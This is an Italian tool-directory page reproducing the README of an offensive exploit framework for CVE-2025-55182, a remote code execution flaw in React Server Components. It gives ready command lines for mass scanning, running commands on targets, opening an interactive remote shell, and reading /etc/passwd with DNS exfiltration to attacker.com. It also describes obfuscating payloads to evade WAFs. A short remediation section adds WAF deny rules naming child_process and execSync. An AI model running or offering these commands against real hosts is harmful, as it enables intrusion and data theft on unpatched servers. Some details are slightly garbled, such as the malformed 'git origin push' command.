Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit — Scanner RCE avanzato per React Server Components per CVE-2025-55182. Funzionalità: fingerprinting multi-stadio, verifica della vulnerabilità, esfiltrazione DNS, shell interattiva, offuscamento del payload e reportistica professionale (JSON/HTML/PDF). Solo test autorizzati. | Kitploit
Strumenti/GitHubGitHub/cerberusmrxi/cve-2025-55182-advanced-react-server-components-rce-exploit
RicognizioneScanner di VulnerabilitàExploitSfruttamento di Applicazioni WebEsfiltrazione DatiBypass WAFPenetration TestingStrumento di Accesso RemotoSviluppo Payload

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
GitHubcerberusmrxi/cve-2025-55182-advanced-react-server-components-rce-exploit

CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit

Scanner RCE avanzato per React Server Components per CVE-2025-55182. Funzionalità: fingerprinting multi-stadio, verifica della vulnerabilità, esfiltrazione DNS, shell interattiva, offuscamento del payload e reportistica professionale (JSON/HTML/PDF). Solo test autorizzati.

Vedi Repository
191 mese faNon ancora revisionato
Condividi

🔐 ReactRCE-Scanner

CVE-2025-55182 — Framework avanzato di exploit e valutazione RCE per React Server Components

Version CVE CVSS Python License

Author
PRs Welcome
Downloads

📑 Indice

  • Dichiarazione legale e avviso etico

  • Panoramica

  • Funzionalità principali

  • Guida rapida

  • Architettura e approfondimento delle funzionalità

  • Riferimento alla configurazione

  • Suite di test automatizzati

  • Remediation e mitigazione

  • Contribuire e community

  • Riferimenti

  • Licenza e autore


⚠️ Dichiarazione legale e avviso etico

Questo strumento è progettato esclusivamente per scopi EDUCATIVI e di TEST DI SICUREZZA AUTORIZZATO. L'utilizzo non autorizzato di questo software contro target privi di previo consenso scritto costituisce una violazione delle leggi internazionali sui crimini informatici, tra cui il Computer Fraud and Abuse Act (CFAA), i mandati GDPR e i termini di servizio standard. L'autore e i contributori declinano ogni responsabilità per qualsiasi uso improprio, operazione illegale o danno consequenziale derivante da questo programma. Procedere rigorosamente a proprio rischio.


📋 Panoramica

ReactRCE-Scanner è un framework di valutazione e verifica della sicurezza di livello enterprise progettato specificamente per CVE-2025-55182 [1], una vulnerabilità critica di Remote Code Execution (RCE) che interessa i React Server Components nelle versioni da 19.0.0 a 19.2.0.

Il framework colma il divario tra la ricerca teorica sulle vulnerabilità e la validazione pratica della sicurezza. Integrando fingerprinting multi-stadio, rigorosa riduzione dei falsi positivi, offuscamento avanzato dei payload e reportistica automatizzata multi-formato, fornisce agli ingegneri della sicurezza capacità diagnostiche precise.

UtilizzoRisultati della scansione

🎯 Funzionalità principali

Categoria di funzionalitàPunto di forza dell'implementazioneStato operativo
Fingerprinting intelligenteRilevamento multi-sorgente di framework e versione con algoritmi di scoring della confidenza.✅
Verifica multi-stadioPipeline di validazione a 5 stadi progettata per eliminare sistematicamente i falsi positivi.✅
Generazione di payloadGeneratore di payload offuscati con supporto a esfiltrazione DNS e multi-encoding.✅
Shell interattivaEsecuzione di comandi pseudo-interattiva in tempo reale e accesso alla shell su target verificati.✅
Reportistica completaGenerazione automatizzata di report in formato JSON, HTML, PDF e Markdown.✅
Esfiltrazione DNSEsfiltrazione out-of-band dell'output dei comandi tramite gestione sicura delle query DNS.✅
Motore di concorrenzaArchitettura di scansione multi-thread ad alte prestazioni per grandi superfici d'attacco.✅
Integrazione proxySupporto proxy HTTP/HTTPS e SOCKS per traffico di valutazione anonimizzato.✅

🚀 Guida rapida

Installazione

Clonare il repository e inizializzare l'ambiente utilizzando lo script di setup automatizzato o l'installazione manuale delle dipendenze:

root@kitploit:~
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit

# Configure execution permissions and run setup script
chmod +x setup.sh
./setup.sh

# Alternatively, install core Python dependencies manually
pip install -r requirements.txt

Riferimento ai comandi di base

Il framework opera tramite un'architettura CLI modulare che supporta la validazione di un singolo target, la scansione in blocco da elenchi di file, l'avvio di shell interattive e la reportistica di conformità.

root@kitploit:~
# 1. Perform a vulnerability scan against a single target
python exploit.py -t https://target.com -m scan

# 2. Execute bulk scans from a target list with JSON export
python exploit.py -f targets.txt -m scan -o report.json

# 3. Execute a single command on a verified vulnerable endpoint
python exploit.py -t https://target.com -m exploit -c "whoami"

# 4. Initiate an interactive remote shell session
python exploit.py -t https://target.com -m shell

# 5. Execute commands with out-of-band DNS exfiltration
python exploit.py -t https://target.com -m exploit -c "cat /etc/passwd" -d attacker.com

# 6. Compile a professional executive assessment report in PDF format
python exploit.py -f targets.txt -o assessment_report.pdf --format pdf

🔬 Architettura e approfondimento delle funzionalità

1. Motore di fingerprinting intelligente

Il framework esegue una ricognizione approfondita prima della consegna del payload. Analizza molteplici campi degli header HTTP (X-Powered-By, Next-Action, RSC), meta tag strutturali HTML (data-reactroot, __NEXT_DATA__), asset di build statici e bundle sorgente JavaScript [2] [3].

I punteggi di confidenza sono classificati in quattro livelli:

  • CRITICAL (95%+): Molteplici indicatori ortogonali confermano versioni vulnerabili del runtime React Server Component.

  • HIGH (75–95%): Forti indicatori strutturali identificati con corrispondenza esatta della versione.

  • MEDIUM (50–75%): Marcatori parziali del framework presenti; richiesta verifica manuale.

  • LOW (<50%): Euristiche deboli rilevate; alta probabilità di falso positivo.

2. Flusso di verifica multi-stadio

Per mantenere l'integrità operativa e prevenire interruzioni accidentali del servizio, i payload attraversano una rigorosa pipeline di validazione prima che qualsiasi fase di exploitation venga sbloccata.

root@kitploit:~
Target URL / Endpoint
       │
       ▼
[Stage 1] Framework & Header Detection
       │
       ▼
[Stage 2] Component Version Analysis
       │
       ▼
[Stage 3] Protocol Compatibility Check
       │
       ▼
[Stage 4] Non-Destructive Safe Validation Request
       │
       ▼
[Stage 5] Statistical Confidence Scoring
       │
       ▼
Vulnerability Assessment Decision

3. Offuscamento dei payload ed evasione

Per testare i controlli difensivi e i Web Application Firewall (WAF), il framework integra un generatore avanzato di payload che supporta:

  • Schemi di codifica: Trasformazioni Base64, Esadecimale e Ottale.

  • Offuscamento strutturale: Suddivisione dinamica delle stringhe, iniezione di codice spazzatura e mappatura alternativa del metodo require.

  • Esfiltrazione Out-of-Band (OOB): Tunneling sicuro dei dati attraverso query DNS quando i canali di risposta diretti sono limitati.

4. Shell di comandi interattiva

Una volta stabilita con successo la sessione, gli operatori possono invocare un ambiente shell interattivo per l'enumerazione post-verifica.

root@kitploit:~
$ python exploit.py -t https://target.com -m shell
[*] Initializing interactive shell session against https://target.com
[!] Type 'exit' to terminate the session.

shell> whoami
www-data

shell> uname -a
Linux ip-10-0-1-15 6.8.0-1018-aws #20-Ubuntu SMP PREMO__X64 x86_64 GNU/Linux

shell> exit
[*] Terminating session and cleaning up temporary artifacts...

5. Suite di reportistica professionale

I report possono essere generati in molteplici formati standardizzati (JSON, HTML, PDF, Markdown) contenenti sommari esecutivi, metriche di rischio, risultati tecnici dettagliati, timeline delle evidenze e analisi del punteggio CVSS v3.1 [4].


⚙️ Riferimento alla configurazione

I parametri avanzati sono gestiti tramite il file di configurazione config.yaml. Di seguito è riportato un template di configurazione di produzione:

root@kitploit:~
# ReactRCE-Scanner Production Configuration

timeout: 30
threads: 20
max_retries: 3
proxy: null

user_agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"

headers:
  Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
  Accept-Language: "en-US,en;q=0.5"
  Accept-Encoding: "gzip, deflate, br"

output:
  format: "json"
  directory: "./reports"

logging:
  level: "INFO"
  file: "exploit.log"

exploit:
  obfuscate: true
  encoding: "base64"
  timeout: 60

scanning:
  concurrent_scans: 20
  rate_limit: 0.5
  timeout: 30

fingerprint:
  enable_deep_analysis: true
  follow_redirects: true
  analyze_assets: true

Eseguire le scansioni facendo riferimento al file di configurazione personalizzato tramite:

root@kitploit:~
python exploit.py -f targets.txt -C config.yaml -o report.json

🧪 Suite di test automatizzati

Il repository include una suite completa di test unitari e di integrazione per garantire la stabilità dei moduli tra le release.

root@kitploit:~
# Execute the complete automated test suite
python exploit.py --test

# Expected Output:
Running test suite...
✓ test_fingerprinting passed
✓ test_payload_generation passed
✓ test_config_loading passed
✓ test_verification passed
✓ test_report_generation passed

Tests passed: 5/5

Per i contributori che configurano un ambiente di sviluppo locale:

root@kitploit:~
git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit
pip install -r requirements-dev.txt

# Run pytest unit tests
pytest tests/

# Format and lint codebase
black exploit.py
flake8 exploit.py

🛡️ Remediation e mitigazione

Azioni amministrative immediate

  1. Patching: Aggiornare immediatamente i pacchetti React alla versione 19.2.1 o superiore. Aggiornare le istanze Next.js alla versione 15.0.4+ [5].

  2. Monitoraggio: Ispezionare i log di accesso HTTP per valori sospetti dell'header Next-Action e riferimenti a prototipi non validati (__proto__, constructor) [6].

  3. Hardening di rete: Limitare le query DNS ricorsive in uscita dai server applicativi per prevenire l'esfiltrazione dei dati.

Regole WAF di riferimento (Nginx / OpenResty)

root@kitploit:~
# Block prototype pollution and remote execution attempts in request bodies
if ($request_body ~* "__proto__") {
    return 403;
}
if ($request_body ~* "constructor") {
    return 403;
}
if ($request_body ~* "child_process") {
    return 403;
}
if ($request_body ~* "execSync") {
    return 403;
}

📚 Riferimenti

  1. National Vulnerability Database — CVE-2025-55182 Advisory

  2. React Security Documentation & Advisories

  3. Next.js Security Bulletins

  4. FIRST CVSS v3.1 Specification & Calculator

  5. OWASP Guide to Prototype Pollution Vulnerabilities

  6. Node.js Child Process Security Best Practices


🤝 Contribuire e community

Contributi, richieste di funzionalità e segnalazioni di bug sono benvenuti. Si prega di attenersi al flusso di lavoro standard fork-and-pull request:

  1. Effettuare il fork del repository (https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit/fork)

  2. Creare il proprio branch di funzionalità (git checkout -b feature/AdvancedScannerModule)

  3. Effettuare il commit delle modifiche (git commit -m 'Add advanced scanning heuristic')

  4. Effettuare il push sul branch (git origin push feature/AdvancedScannerModule)

  5. Aprire una Pull Request


📜 Licenza e autore

Distribuito sotto MIT License. Consultare LICENSE per ulteriori informazioni.

Creato con precisione da CerberusMrXi Ultimo aggiornamento: Agosto 2026

Scarica lo strumento